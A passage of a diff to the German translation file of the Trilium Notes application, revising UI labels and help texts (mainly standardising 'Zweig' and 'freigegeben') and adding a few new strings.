    "disable_versioning": "deaktiviert die automatische Versionierung. Nützlich z.B. große, aber unwichtige Notizen – z.B. große JS-Bibliotheken, die für die Skripterstellung verwendet werden",
    "calendar_root": "Markiert eine Notiz, die als Basis für Tagesnotizen verwendet werden soll. Nur einer sollte als solcher gekennzeichnet sein.",
    "archived": "Notizen mit dieser Bezeichnung werden standardmäßig nicht in den Suchergebnissen angezeigt (auch nicht in den Dialogen „Springen zu“, „Link hinzufügen“ usw.).",
-    "exclude_from_export": "Notizen (mit ihrem Unterbaum) werden nicht in den Notizexport einbezogen",
+    "exclude_from_export": "Notizen (mit ihrem Unterbaum) werden nicht im Notizexport inkludiert",
    "run": "Definiert, bei welchen Ereignissen das Skript ausgeführt werden soll. Mögliche Werte sind:\n<ul>\n<li>frontendStartup - wenn das Trilium-Frontend startet (oder aktualisiert wird), außer auf mobilen Geräten.</li>\n<li>mobileStartup - wenn das Trilium-Frontend auf einem mobilen Gerät startet (oder aktualisiert wird).</li>\n<li>backendStartup - wenn das Trilium-Backend startet</li>\n<li>hourly - einmal pro Stunde ausführen. Du kannst das zusätzliche Label <code>runAtHour</code> verwenden, um die genaue Stunde festzulegen.</li>\n<li>daily - einmal pro Tag ausführen</li>\n</ul>",
    "run_on_instance": "Definiere, auf welcher Trilium-Instanz dies ausgeführt werden soll. Standardmäßig alle Instanzen.",
    "run_at_hour": "Zu welcher Stunde soll das laufen? Sollte zusammen mit <code>#runu003dhourly</code> verwendet werden. Kann für mehr Läufe im Laufe des Tages mehrfach definiert werden.",
@@ -376,7 +376,7 @@
    "sort_direction": "ASC (Standard) oder DESC",
    "sort_folders_first": "Ordner (Notizen mit Unternotizen) sollten oben sortiert werden",
    "top": "Behalte die angegebene Notiz oben in der übergeordneten Notiz (gilt nur für sortierte übergeordnete Notizen)",
-    "hide_promoted_attributes": "Heraufgestufte Attribute für diese Notiz ausblenden",
+    "hide_promoted_attributes": "Hervorgehobene Attribute für diese Notiz ausblenden",
    "read_only": "Der Editor befindet sich im schreibgeschützten Modus. Funktioniert nur für Text- und Codenotizen.",
    "auto_read_only_disabled": "Text-/Codenotizen können automatisch in den Lesemodus versetzt werden, wenn sie zu groß sind. Du kannst dieses Verhalten für jede einzelne Notiz deaktivieren, indem du diese Beschriftung zur Notiz hinzufügst",
    "app_css": "markiert CSS-Notizen, die in die Trilium-Anwendung geladen werden und somit zur Änderung des Aussehens von Trilium verwendet werden können.",
@@ -416,13 +416,13 @@
    "toc": "<code>#toc</code> oder <code>#tocu003dshow</code> erzwingen die Anzeige des Inhaltsverzeichnisses, <code>#tocu003dhide</code> erzwingt das Ausblenden. Wenn die Bezeichnung nicht vorhanden ist, wird die globale Einstellung beachtet",
    "color": "Definiert die Farbe der Notiz im Notizbaum, in Links usw. Verwende einen beliebigen gültigen CSS-Farbwert wie „rot“ oder #a13d5f",
    "keyboard_shortcut": "Definiert eine Tastenkombination, die sofort zu dieser Notiz springt. Beispiel: „Strg+Alt+E“. Erfordert ein Neuladen des Frontends, damit die Änderung wirksam wird.",
-    "keep_current_hoisting": "Das Öffnen dieses Links ändert das Hochziehen nicht, selbst wenn die Notiz im aktuell hochgezogenen Unterbaum nicht angezeigt werden kann.",
+    "keep_current_hoisting": "Das Öffnen dieses Links ändert das Hochziehen nicht, selbst wenn die Notiz im aktuell hochgezogenen Zweig nicht angezeigt werden kann.",
    "execute_button": "Titel der Schaltfläche, welche die aktuelle Codenotiz ausführt",
    "execute_description": "Längere Beschreibung der aktuellen Codenotiz, die zusammen mit der Schaltfläche „Ausführen“ angezeigt wird",
    "exclude_from_note_map": "Notizen mit dieser Bezeichnung werden in der Notizenkarte ausgeblendet",
    "new_notes_on_top": "Neue Notizen werden oben in der übergeordneten Notiz erstellt, nicht unten.",
    "hide_highlight_widget": "Widget „Markierungsliste“ ausblenden",
-    "run_on_note_creation": "Wird ausgeführt, wenn eine Notiz im Backend erstellt wird. Verwende diese Beziehung, wenn du das Skript für alle Notizen ausführen möchtest, die unter einer bestimmten Unternotiz erstellt wurden. Erstelle es in diesem Fall auf der Unternotiz-Stammnotiz und mache es vererbbar. Eine neue Notiz, die innerhalb der Unternotiz (beliebige Tiefe) erstellt wird, löst das Skript aus.",
+    "run_on_note_creation": "Wird ausgeführt, wenn eine Notiz im Backend erstellt wird. Verwende diese Beziehung, wenn du das Skript für alle Notizen ausführen möchtest, die unter einem bestimmten Zweig erstellt wurden. Erstelle es in diesem Fall auf der Stammnotiz und mache es vererbbar. Eine neue Notiz, die innerhalb des Zweigs (beliebige Tiefe) erstellt wird, löst das Skript aus.",
    "run_on_child_note_creation": "Wird ausgeführt, wenn eine neue Notiz unter der Notiz erstellt wird, in der diese Beziehung definiert ist",
    "run_on_note_title_change": "Wird ausgeführt, wenn der Notiztitel geändert wird (einschließlich der Notizerstellung)",
    "run_on_note_content_change": "Wird ausgeführt, wenn der Inhalt einer Notiz geändert wird (einschließlich der Erstellung von Notizen).",
@@ -433,8 +433,8 @@
    "run_on_branch_deletion": "wird ausgeführt, wenn ein Zweig gelöscht wird. Der Zweig ist eine Verknüpfung zwischen der übergeordneten Notiz und der untergeordneten Notiz und wird z. B. gelöscht. beim Verschieben der Notiz (alter Zweig/Link wird gelöscht).",
    "run_on_attribute_creation": "wird ausgeführt, wenn für die Notiz ein neues Attribut erstellt wird, das diese Beziehung definiert",
    "run_on_attribute_change": " wird ausgeführt, wenn das Attribut einer Notiz geändert wird, die diese Beziehung definiert. Dies wird auch ausgelöst, wenn das Attribut gelöscht wird",
-    "relation_template": "Die Attribute der Notiz werden auch ohne eine Eltern-Kind-Beziehung vererbt. Der Inhalt und der Unterbaum der Notiz werden den Instanznotizen hinzugefügt, wenn sie leer sind. Einzelheiten findest du in der Dokumentation.",
-    "inherit": "Die Attribute einer Notiz werden auch ohne eine Eltern-Kind-Beziehung vererbt. Ein ähnliches Konzept findest du unter Vorlagenbeziehung. Siehe Attributvererbung in der Dokumentation.",
+    "relation_template": "Die Attribute der Notiz werden auch ohne eine Hierarchische-Beziehung vererbt. Der Inhalt und der Zweig werden den Instanznotizen hinzugefügt, wenn sie leer sind. Einzelheiten findest du in der Dokumentation.",
+    "inherit": "Die Attribute einer Notiz werden auch ohne eine Hierarchische-Beziehung vererbt. Ein ähnliches Konzept findest du unter Vorlagenbeziehung. Siehe Attributsvererbung in der Dokumentation.",
    "render_note": "Notizen vom Typ \"HTML-Notiz rendern\" werden mit einer Code-Notiz (HTML oder Skript) gerendert, und es ist notwendig, über diese Beziehung anzugeben, welche Notiz gerendert werden soll",
    "widget_relation": "Das Ziel dieser Beziehung wird ausgeführt und als Widget in der Seitenleiste gerendert",
    "share_css": "CSS-Hinweis, der in die Freigabeseite eingefügt wird. Die CSS-Notiz muss sich ebenfalls im gemeinsamen Unterbaum befinden. Erwäge auch die Verwendung von „share_hidden_from_tree“ und „share_omit_default_css“.",
@@ -646,7 +646,7 @@
    "reset_zoom_level": "Zoomstufe zurücksetzen",
    "zoom_in": "Hineinzoomen",
    "configure_launchbar": "Konfiguriere die Starterleiste",
-    "show_shared_notes_subtree": "Unterbaum „Freigegebene Notizen“ anzeigen",
+    "show_shared_notes_subtree": "Zweig „Freigegebene Notizen“ anzeigen",
    "advanced": "Erweitert",
    "open_dev_tools": "Öffne die Entwicklungstools",
    "open_sql_console": "Öffne die SQL-Konsole",
@@ -655,14 +655,15 @@
    "show_backend_log": "Backend-Protokoll anzeigen",
    "reload_hint": "Ein Neuladen kann bei einigen visuellen Störungen Abhilfe schaffen, ohne die gesamte App neu starten zu müssen.",
    "reload_frontend": "Frontend neu laden",
-    "show_hidden_subtree": "Versteckten Teilbaum anzeigen",
+    "show_hidden_subtree": "Versteckten Zweig anzeigen",
    "show_help": "Hilfe anzeigen",
    "about": "Über Trilium Notes",
    "logout": "Abmelden",
    "show-cheatsheet": "Cheatsheet anzeigen",
    "toggle-zen-mode": "Zen Modus",
    "new-version-available": "Neues Update verfügbar",
-    "download-update": "Version {{latestVersion}} herunterladen"
+    "download-update": "Version {{latestVersion}} herunterladen",
+    "search_notes": "Notizen durchsuchen"
  },
  "sync_status": {
    "unknown": "<p>Der Synchronisations-Status wird bekannt, sobald der nächste Synchronisierungsversuch gestartet wird.</p><p>Klicke, um eine Synchronisierung jetzt auszulösen.</p>",
@@ -703,8 +704,8 @@
    "export_as_image_png": "PNG (Raster)",
    "export_as_image_svg": "SVG (Vektor)",
    "note_map": "Notizen Karte",
-    "view_revisions": "Änderungshistorie...",
-    "advanced": "Fortgeschritten"
+    "view_revisions": "Notizrevisionen...",
+    "advanced": "Erweitert"
  },
  "onclick_button": {
    "no_click_handler": "Das Schaltflächen-Widget „{{componentId}}“ hat keinen definierten Klick-Handler"
@@ -742,7 +743,7 @@
    "button_title": "Diagramm als SVG exportieren"
  },
  "relation_map_buttons": {
-    "create_child_note_title": "Erstelle eine neue untergeordnete Notiz und füge sie dieser Beziehungskarte hinzu",
+    "create_child_note_title": "Erstelle eine untergeordnete Notiz und füge sie dieser Karte hinzu",
    "reset_pan_zoom_title": "Schwenken und Zoomen auf die ursprünglichen Koordinaten und Vergrößerung zurücksetzen",
    "zoom_in_title": "Hineinzoom",
    "zoom_out_title": "Herauszoomen"
@@ -757,7 +758,9 @@
    "delete_this_note": "Diese Notiz löschen",
    "error_cannot_get_branch_id": "BranchId für notePath „{{notePath}}“ kann nicht abgerufen werden",
    "error_unrecognized_command": "Unbekannter Befehl {{command}}",
-    "note_revisions": "Notiz Revisionen"
+    "note_revisions": "Notiz Revisionen",
+    "backlinks": "Rücklinks",
+    "content_language_switcher": "Inhaltssprache: {{language}}"
  },
  "note_icon": {
    "change_note_icon": "Notiz-Icon ändern",
@@ -798,7 +801,7 @@
    "expand_tooltip": "Erweitert die direkten Unterelemente dieser Sammlung (eine Ebene tiefer). Für weitere Optionen auf den Pfeil rechts klicken.",
    "expand_first_level": "Direkte Unterelemente erweitern",
    "expand_nth_level": "{{depth}} Ebenen erweitern",
-    "hide_child_notes": "Unterknoten im Baum ausblenden"
+    "hide_child_notes": "Unternotizen im Baum ausblenden"
  },
  "edited_notes": {
    "no_edited_notes_found": "An diesem Tag wurden noch keine Notizen bearbeitet...",
@@ -842,7 +845,7 @@
    "note_size": "Notengröße",
    "note_size_info": "Die Notizgröße bietet eine grobe Schätzung des Speicherbedarfs für diese Notiz. Es berücksichtigt den Inhalt der Notiz und den Inhalt ihrer Notizrevisionen.",
    "calculate": "berechnen",
-    "subtree_size": "(Teilbaumgröße: {{size}} in {{count}} Notizen)",
+    "subtree_size": "(Zweiggröße: {{size}} in {{count}} Notizen)",
    "title": "Notizinfo",
    "mime": "MIME Typ",
    "show_similar_notes": "Zeige ähnliche Notizen"
@@ -871,7 +874,7 @@
    "owned_attributes": "Eigene Attribute"
  },
  "promoted_attributes": {
-    "promoted_attributes": "Übergebene Attribute",
+    "promoted_attributes": "Hervorgehobene Attribute",
    "url_placeholder": "http://website...",
    "open_external_link": "Externen Link öffnen",
    "unknown_label_type": "Unbekannter Labeltyp „{{type}}“",
@@ -909,7 +912,8 @@
    "unknown_search_option": "Unbekannte Suchoption {{searchOptionName}}",
    "search_note_saved": "Suchnotiz wurde in {{-notePathTitle}} gespeichert",
    "actions_executed": "Aktionen wurden ausgeführt.",
-    "view_options": "Optionen anzeigen:"
+    "view_options": "Optionen anzeigen:",
+    "option": "Option"
  },
  "similar_notes": {
    "title": "Ähnliche Notizen",
@@ -1003,7 +1007,7 @@
    "no_attachments": "Diese Notiz enthält keine Anhänge."
  },
  "book": {
-    "no_children_help": "Diese Notiz mit dem Notiztyp Buch besitzt keine Unternotizen, deshalb ist nichts zum Anzeigen vorhanden. Siehe <a href=\"https://triliumnext.github.io/Docs/Wiki/book-note.html\">Wiki</a> für mehr Details.",
+    "no_children_help": "Diese Sammlung enthält keineUnternotizen, daher gibt es nichts anzuzeigen.",
    "drag_locked_title": "Für Bearbeitung gesperrt",
    "drag_locked_message": "Das Ziehen ist nicht möglich, da die Sammlung für die Bearbeitung gesperrt ist."
  },
@@ -1059,15 +1063,6 @@
    "default_new_note_title": "neue Notiz",
    "click_on_canvas_to_place_new_note": "Klicke auf den Canvas, um eine neue Notiz zu platzieren"
  },
-  "render": {
-    "note_detail_render_help_1": "Diese Hilfesnotiz wird angezeigt, da diese Notiz vom Typ „HTML rendern“ nicht über die erforderliche Beziehung verfügt, um ordnungsgemäß zu funktionieren.",
-    "note_detail_render_help_2": "Render-HTML-Notiztyp wird benutzt für <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">scripting</a>. Kurzgesagt, du hast ein HTML-Code-Notiz (optional mit JavaScript) und diese Notiz rendert es. Damit es funktioniert, musst du eine a <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">Beziehung</a> namens \"renderNote\" zeigend auf die HTML-Notiz zum rendern definieren."
-  },
-  "web_view": {
-    "web_view": "Webansicht",
-    "embed_websites": "Notiz vom Typ Web View ermöglicht das Einbetten von Websites in Trilium.",
-    "create_label": "Um zu beginnen, erstelle bitte ein Label mit einer URL-Adresse, die eingebettet werden soll, z. B. #webViewSrc=\"https://www.google.com\""
-  },
  "backend_log": {
    "refresh": "Aktualisieren"
  },
@@ -1115,7 +1110,7 @@
  "vacuum_database": {
    "title": "Datenbank aufräumen",
    "description": "Dadurch wird die Datenbank neu erstellt, was normalerweise zu einer kleineren Datenbankdatei führt. Es werden keine Daten tatsächlich geändert.",
-    "button_text": "Vakuumdatenbank",
+    "button_text": "Datenbank aufräumen",
    "vacuuming_database": "Datenbank wird geleert...",
    "database_vacuumed": "Die Datenbank wurde geleert"
  },
@@ -1156,7 +1151,7 @@
  },
  "ribbon": {
    "widgets": "Multifunktionsleisten-Widgets",
-    "promoted_attributes_message": "Die Multifunktionsleisten-Registerkarte „Heraufgestufte Attribute“ wird automatisch geöffnet, wenn in der Notiz heraufgestufte Attribute vorhanden sind",
+    "promoted_attributes_message": "Die „Hervorgehobene Attribute“-Leiste wird automatisch geöffnet, wenn in der Notiz hervorgehobene Attribute vorhanden sind",
    "edited_notes_message": "Die Multifunktionsleisten-Registerkarte „Bearbeitete Notizen“ wird bei Tagesnotizen automatisch geöffnet"
  },
  "theme": {
@@ -1383,7 +1378,8 @@
    "description": "Beschreibung",
    "reload_app": "Lade die App neu, um die Änderungen zu übernehmen",
    "set_all_to_default": "Setze alle Verknüpfungen auf die Standardeinstellungen",
-    "confirm_reset": "Möchtest du wirklich alle Tastaturkürzel auf die Standardeinstellungen zurücksetzen?"
+    "confirm_reset": "Möchtest du wirklich alle Tastaturkürzel auf die Standardeinstellungen zurücksetzen?",
+    "no_results": "Keine Tastenkürzel für '{{filter}}' gefunden"
  },
  "spellcheck": {
    "title": "Rechtschreibprüfung",
@@ -1445,19 +1441,19 @@
    "insert-note-after": "Notiz dahinter einfügen",
    "insert-child-note": "Unternotiz einfügen",
    "delete": "Löschen",
-    "search-in-subtree": "Im Notizbaum suchen",
+    "search-in-subtree": "Im Zweig suchen",
    "hoist-note": "Notiz-Fokus setzen",
    "unhoist-note": "Notiz-Fokus aufheben",
    "edit-branch-prefix": "Zweig-Präfix bearbeiten",
    "advanced": "Erweitert",
-    "expand-subtree": "Unterzweig aufklappen",
-    "collapse-subtree": "Notizbaum einklappen",
+    "expand-subtree": "Zweig aufklappen",
+    "collapse-subtree": "Zweig einklappen",
    "sort-by": "Sortieren nach...",
-    "recent-changes-in-subtree": "Kürzliche Änderungen im Notizbaum",
+    "recent-changes-in-subtree": "Kürzliche Änderungen im Zweig",
    "convert-to-attachment": "Als Anhang konvertieren",
    "copy-note-path-to-clipboard": "Notiz-Pfad in die Zwischenablage kopieren",
-    "protect-subtree": "Notizbaum schützen",
-    "unprotect-subtree": "Notizenbaum-Schutz aufheben",
+    "protect-subtree": "Zweig schützen",
+    "unprotect-subtree": "Zweig-Schutz aufheben",
    "copy-clone": "Kopieren / Klonen",
    "clone-to": "Klonen nach...",
    "cut": "Ausschneiden",
@@ -1474,12 +1470,12 @@
    "archive": "Archiviere",
    "unarchive": "Entarchivieren",
    "open-in-a-new-window": "In neuem Fenster öffnen",
-    "hide-subtree": "Teilbaum ausblenden",
-    "show-subtree": "Teilbaum anzeigen"
+    "hide-subtree": "Zweig ausblenden",
+    "show-subtree": "Zweig anzeigen"
  },
  "shared_info": {
-    "shared_publicly": "Diese Notiz ist öffentlich geteilt auf {{- link}}.",
-    "shared_locally": "Diese Notiz ist lokal geteilt auf {{- link}}.",
+    "shared_publicly": "Diese Notiz ist öffentlich freigegeben über {{- link}}.",
+    "shared_locally": "Diese Notiz ist lokal freigegeben über {{- link}}.",
    "help_link": "Für Hilfe besuche <a href=\"https://triliumnext.github.io/Docs/Wiki/sharing.html\">wiki</a>."
  },
  "note_types": {
@@ -1514,10 +1510,10 @@
    "toggle-off-hint": "Notiz ist geschützt, klicken, um den Schutz aufzuheben"
  },
  "shared_switch": {
-    "shared": "Teilen",
-    "toggle-on-title": "Notiz teilen",
+    "shared": "Freigegeben",
+    "toggle-on-title": "Notiz freigeben",
    "toggle-off-title": "Notiz-Freigabe aufheben",
-    "shared-branch": "Diese Notiz existiert nur als geteilte Notiz, das Aufheben der Freigabe würde sie löschen. Möchtest du fortfahren und die Notiz damit löschen?",
+    "shared-branch": "Diese Notiz existiert nur als freigegebene Notiz, das Aufheben der Freigabe würde sie löschen. Möchtest du fortfahren und die Notiz damit löschen?",
    "inherited": "Die Notiz kann hier nicht von der Freigabe entfernt werden, da sie über Vererbung von einer übergeordneten Notiz geteilt wird."
  },
  "template_switch": {
@@ -1566,15 +1562,15 @@
    "unhoist": "Fokus verlassen",
    "toggle-sidebar": "Seitenleiste ein-/ausblenden",
    "dropping-not-allowed": "Ablegen von Notizen an dieser Stelle ist nicht zulässig.",
-    "clone-indicator-tooltip": "Diese Notiz hat {{- count}} Elterknoten: {{- parents}}",
-    "clone-indicator-tooltip-single": "Diese Notiz ist geklont (1 weiterer Elternknoten: {{- parent}})",
-    "shared-indicator-tooltip": "Diese Notiz ist öffentlich einsehbar",
-    "shared-indicator-tooltip-with-url": "Diese Notiz ist unter {{- url}} öffentlich einsehbar",
-    "subtree-hidden-tooltip_one": "{{count}} Unterknoten, der im Baum ausgeblendet ist",
-    "subtree-hidden-tooltip_other": "{{count}} Unterknoten, die im Baum ausgeblendet sind",
+    "clone-indicator-tooltip": "Diese Notiz hat {{- count}} übergeordnete Knoten: {{- parents}}",
+    "clone-indicator-tooltip-single": "Diese Notiz ist geklont (1 weitere Quelle: {{- parent}})",
+    "shared-indicator-tooltip": "Diese Notiz ist öffentlich freigegeben",
+    "shared-indicator-tooltip-with-url": "Diese Notiz ist öffentlich freigegeben unter: {{- url}}",
+    "subtree-hidden-tooltip_one": "{{count}} untergeordnete Notiz, die im Baum ausgeblendet ist",
+    "subtree-hidden-tooltip_other": "{{count}} untergeordnete Notizen, die im Baum ausgeblendet sind",
    "subtree-hidden-moved-title": "Zu {{title}} hinzugefügt",
-    "subtree-hidden-moved-description-collection": "Diese Sammlung blendet ihre Unternotizem im Baum aus.",
-    "subtree-hidden-moved-description-other": "Diese Sammlung blendet ihre Unterknoten im Baum aus."
+    "subtree-hidden-moved-description-collection": "Diese Sammlung blendet ihre Unternotizen im Baum aus.",
+    "subtree-hidden-moved-description-other": "Untergeordnete Notizen sind im Baum für diese Notiz ausgeblendet."
  },
  "title_bar_buttons": {
    "window-on-top": "Dieses Fenster immer oben halten"
@@ -1586,8 +1582,10 @@
    "print_report_title": "Druckreport",
    "print_report_collection_details_button": "Details anzeigen",
    "print_report_collection_details_ignored_notes": "Ignorierte Notizen",
-    "print_report_collection_content_one": "{{count}} Notiz in der Sammlung konnte nicht gedruckt werden, weil sie nicht unterstützt ist oder geschützt ist.",
-    "print_report_collection_content_other": "{{count}} Notizen in der Sammlung konnten nicht gedruckt werden, weil sie nicht unterstützt sind oder geschützt sind."
+    "print_report_collection_content_one": "{{count}} Notiz in der Sammlung konnte nicht gedruckt werden, weil sie nicht unterstützt oder geschützt ist.",
+    "print_report_collection_content_other": "{{count}} Notizen in der Sammlung konnten nicht gedruckt werden, weil sie nicht unterstützt oder geschützt sind.",
+    "print_report_error_title": "Druck fehlgeschlagen",
+    "print_report_stack_trace": "Stapelzurückverfolgung"
  },
  "note_title": {
    "placeholder": "Titel der Notiz hier eingeben…",
@@ -1751,8 +1749,8 @@
    "desktop-application": "Desktop Anwendung",
    "native-title-bar": "Native Anwendungsleiste",
    "native-title-bar-description": "In Windows und macOS, sorgt das Deaktivieren der nativen Anwendungsleiste für ein kompakteres Aussehen. Unter Linux, sorgt das Aktivieren der nativen Anwendungsleiste für eine bessere Integration mit anderen Teilen des Systems.",
-    "background-effects": "Hintergrundeffekte aktivieren (nur Windows 11)",
-    "background-effects-description": "Der Mica Effekt fügt einen unscharfen, stylischen Hintergrund in Anwendungsfenstern ein. Dieser erzeugt Tiefe und ein modernes Auftreten. \"Native Titelleiste\" muss deaktiviert sein.",
+    "background-effects": "Hintergrundeffekte aktivieren",
+    "background-effects-description": "Fügt einen unscharfen, stylischen Hintergrund in das Anwendungsfenstern ein. Dies erzeugt Tiefe und ein modernes Auftreten. \"Native Titelleiste\" muss deaktiviert sein.",
    "restart-app-button": "Anwendung neustarten um Änderungen anzuwenden",
    "zoom-factor": "Zoomfaktor"
  },
@@ -1771,7 +1769,8 @@
  "geo-map": {
    "create-child-note-title": "Neue Unternotiz anlegen und zur Karte hinzufügen",
    "create-child-note-instruction": "Auf die Karte klicken, um eine neue Notiz an der Stelle zu erstellen oder Escape drücken um abzubrechen.",
-    "unable-to-load-map": "Karte konnte nicht geladen werden."
+    "unable-to-load-map": "Karte konnte nicht geladen werden.",
+    "create-child-note-text": "Marker hinzufügen"
  },
  "geo-map-context": {
    "open-location": "Ort öffnen",
@@ -2000,7 +1999,7 @@
    "check_share_root": "Status des Freigabe-Roots prüfen",
    "share_root_found": "Freigabe-Root-Notiz '{{noteTitle}}' ist bereit",
    "share_root_not_found": "Keine Notiz mit #shareRoot Label gefunden",
-    "share_root_not_shared": "Notiz '{{noteTitle}}' hat das #shareRoot Label, wurde jedoch noch nicht geteilt"
+    "share_root_not_shared": "Notiz '{{noteTitle}}' hat das #shareRoot Label, wurde jedoch noch nicht freigegeben"
  },
  "tasks": {
    "due": {
@@ -2087,7 +2086,8 @@
    "raster": "Raster",
    "vector_light": "Vektor (Hell)",
    "vector_dark": "Vektor (Dunkel)",
-    "show-scale": "Zeige Skalierung"
+    "show-scale": "Zeige Skalierung",
+    "show-labels": "Zeige Markierungsnamen"
  },
  "table_context_menu": {
    "delete_row": "Zeile entfernen"
@@ -2118,8 +2118,8 @@
    "show_attachments_description": "Notizanhänge anzeigen",
    "search_notes_title": "Suche Notiz",
    "search_notes_description": "Öffne erweiterte Suche",
-    "search_subtree_title": "Im Unterzweig suchen",
-    "search_subtree_description": "Im aktuellen Unterzweig suchen",
+    "search_subtree_title": "Im Zweig suchen",
+    "search_subtree_description": "Im aktuellen Zweig suchen",
    "search_history_title": "Zeige Suchhistorie",
    "search_history_description": "Zeige vorherige Suchen",
    "configure_launch_bar_title": "Startleiste anpassen",
@@ -2133,7 +2133,7 @@
    "next_theme_message": "Es wird aktuell das alte Design verwendet. Möchten Sie das neue Design ausprobieren?",
    "next_theme_button": "Teste das neue Design",
    "background_effects_title": "Hintergrundeffekte sind jetzt zuverlässig nutzbar",
-    "background_effects_message": "Auf Windows-Geräten sind die Hintergrundeffekte nun vollständig stabil. Die Hintergrundeffekte verleihen der Benutzeroberfläche einen Farbakzent, indem der Hintergrund dahinter weichgezeichnet wird. Diese Technik wird auch in anderen Anwendungen wie dem Windows-Explorer eingesetzt.",
+    "background_effects_message": "Auf Windows- und macOS-Geräten sind die Hintergrundeffekte nun stabil. Die Hintergrundeffekte verleihen der Benutzeroberfläche einen Farbakzent, indem der Hintergrund dahinter weichgezeichnet wird.",
    "background_effects_button": "Aktiviere Hintergrundeffekte",
    "dismiss": "Ablehnen",
    "new_layout_title": "Neues Layout",
@@ -2154,7 +2154,6 @@
    "percentage": "%"
  },
  "pagination": {
-    "page_title": "Seite {{startIndex}} von {{endIndex}}",
    "total_notes": "{{count}} Notizen"
  },
  "collections": {
@@ -2188,9 +2187,9 @@
    "new_layout_description": "Probiere das neue Layout für eine modernere Darstellung und verbesserte Benutzbarkeit aus. Kann sich in Zukunft stark ändern."
  },
  "server": {
-    "unknown_http_error_title": "Bei der Kommunikation mit dem Server ist ein Fehler aufgetreten",
+    "unknown_http_error_title": "Kommunikationsfehler mit dem Server",
    "unknown_http_error_content": "Statuscode: {{statusCode}}\nURL: {{method}} {{url}}\nNachricht: {{message}}",
-    "traefik_blocks_requests": "Der Traefik Reverse-Proxy hat ein fatales Update bekommen, welche die Kommunikation mit dem Server stört."
+    "traefik_blocks_requests": "Der Traefik Reverse-Proxy hat eine Änderung erfahren, welches die Kommunikation mit dem Server beeinflusst."
  },
  "tab_history_navigation_buttons": {
    "go-back": "Zur vorherigen Notiz zurück kehren",
@@ -2205,30 +2204,30 @@
    "empty_hide_archived_notes": "Archivierte Notizen ausblenden"
  },
  "breadcrumb_badges": {
-    "read_only_explicit": "Nicht Änderbar",
-    "read_only_explicit_description": "Diese Notiz wurde händisch als nicht änderbar markiert.\nKlicke hier um sie temporär zu bearbeiten.",
-    "read_only_auto": "Automatisch nicht änderbar",
-    "read_only_auto_description": "Diese Notiz wurde automatisch aus Leistungsgründen als nicht änderbar markiert. Dieses automatische Limit kann in den Einstellungen angepasst werden.\n\nKlicke hier, um sie temporär zu bearbeiten.",
+    "read_only_explicit": "Schreibgeschützt",
+    "read_only_explicit_description": "Diese Notiz wurde händisch schreibgeschützt.\nKlicke hier um sie temporär zu bearbeiten.",
+    "read_only_auto": "Automatisch schreibgeschützt",
+    "read_only_auto_description": "Diese Notiz wurde automatisch aus Leistungsgründen als schreibgeschützt markiert. Dieses automatische Limit kann in den Einstellungen angepasst werden.\n\nKlicke hier, um sie temporär zu bearbeiten.",
    "read_only_temporarily_disabled": "Temporär bearbeitbar",
-    "read_only_temporarily_disabled_description": "Diese Notiz ist aktuell bearbeitbar, ist aber normalerweise nicht änderbar. Sobald du zu einer anderen Notiz navigierst, kehrt diese Notiz in ihren Normalzustand zurück.\n\nKlicke hier, um die Notiz wieder nicht änderbar zu machen.",
-    "shared_publicly": "Öffentlich geteilt",
-    "shared_locally": "Lokal geteilt",
+    "read_only_temporarily_disabled_description": "Diese Notiz ist aktuell bearbeitbar, ist aber normalerweise schreibgeschützt. Sobald du zu einer anderen Notiz navigierst wird diese wieder schreibgeschützt.\n\nKlicke hier, um die Notiz wieder schreibgeschützt zu machen.",
+    "shared_publicly": "Öffentlich freigegeben",
+    "shared_locally": "Lokal freigegeben",
    "shared_copy_to_clipboard": "Link in die Zwischenablage kopieren",
-    "shared_open_in_browser": "Link öffnen",
-    "shared_unshare": "Teilen aufheben",
+    "shared_open_in_browser": "Link im Browser öffnen",
+    "shared_unshare": "Freigabe aufheben",
    "clipped_note": "Internetschnellverweis",
-    "clipped_note_description": "Diese Notiz wurde von {{url}} übernommen.\n\nKlicke hier, um zum Ursprung zu gehen.",
+    "clipped_note_description": "Diese Notiz wurde von {{url}} übernommen.\n\nKlicke hier, um zur Quelle zu gehen.",
    "execute_script": "Skript ausführen",
    "execute_script_description": "Diese Notiz ist eine Skriptnotiz. Klicke hier, um das Skript auszuführen.",
    "execute_sql": "SQL ausführen",
    "execute_sql_description": "Diese Notiz ist eine SQL-Notiz. Klicke hier, um die SQL-Abfrage auszuführen.",
    "save_status_saved": "Gespeichert",
-    "save_status_saving": "Speichern...",
+    "save_status_saving": "Speichere...",
    "save_status_unsaved": "Nicht gespeichert",
    "save_status_error": "Speichern fehlgeschlagen",
    "save_status_saving_tooltip": "Änderungen werden gespeichert.",
    "save_status_unsaved_tooltip": "Es gibt ungespeicherte Änderungen, welche gleich automatisch gespeichert werden.",
-    "save_status_error_tooltip": "Beim speichern der Notiz ist ein Fehler aufgetreten. Wenn möglich, versuche die Notiz woandershin zu kopieren und die Applikation neu zu laden."
+    "save_status_error_tooltip": "Beim speichern der Notiz ist ein Fehler aufgetreten. Wenn möglich, versuche die Notiz woandershin zu kopieren und die Anwendung neu zu laden."
  },
  "status_bar": {
    "language_title": "Inhaltssprache ändern",
@@ -2241,7 +2240,7 @@
    "attachments_other": "{{count}} Anhänge",
    "attachments_title_one": "Anhang in einem neuen Tab öffnen",
    "attachments_title_other": "Anhänge in einem neuen Tab öffnen",
-    "attributes_one": "{{count}} Attribute",
+    "attributes_one": "{{count}} Attribut",
    "attributes_other": "{{count}} Attribute",
    "attributes_title": "Eigene und geerbte Attribute",
    "note_paths_one": "{{count}} Pfad",
@@ -2254,9 +2253,9 @@
  },
  "right_pane": {
    "empty_message": "Für diese Notiz gibt es nichts anzuzeigen",
-    "empty_button": "Anzeige ausblenden",
-    "toggle": "Rechte Anzeige umschalten",
-    "custom_widget_go_to_source": "Zum Ursprungscode"
+    "empty_button": "Leiste ausblenden",
+    "toggle": "Rechte Leiste umschalten",
+    "custom_widget_go_to_source": "Zum Quellcode"
  },
  "pdf": {
    "attachments_one": "{{count}} Anhang",
@@ -2266,6 +2265,61 @@
    "pages_one": "{{count}} Seite",
    "pages_other": "{{count}} Seiten",
    "pages_alt": "Seite {{pageNumber}}",
-    "pages_loading": "Laden..."
+    "pages_loading": "Lädt..."
+  },
+  "platform_indicator": {
+    "available_on": "Verfügbar auf {{platform}}"
+  },
+  "mobile_tab_switcher": {
+    "title_one": "{{count}} Tab",
+    "title_other": "{{count}} Tabs",
+    "more_options": "Weitere Optionen"
+  },
+  "bookmark_buttons": {
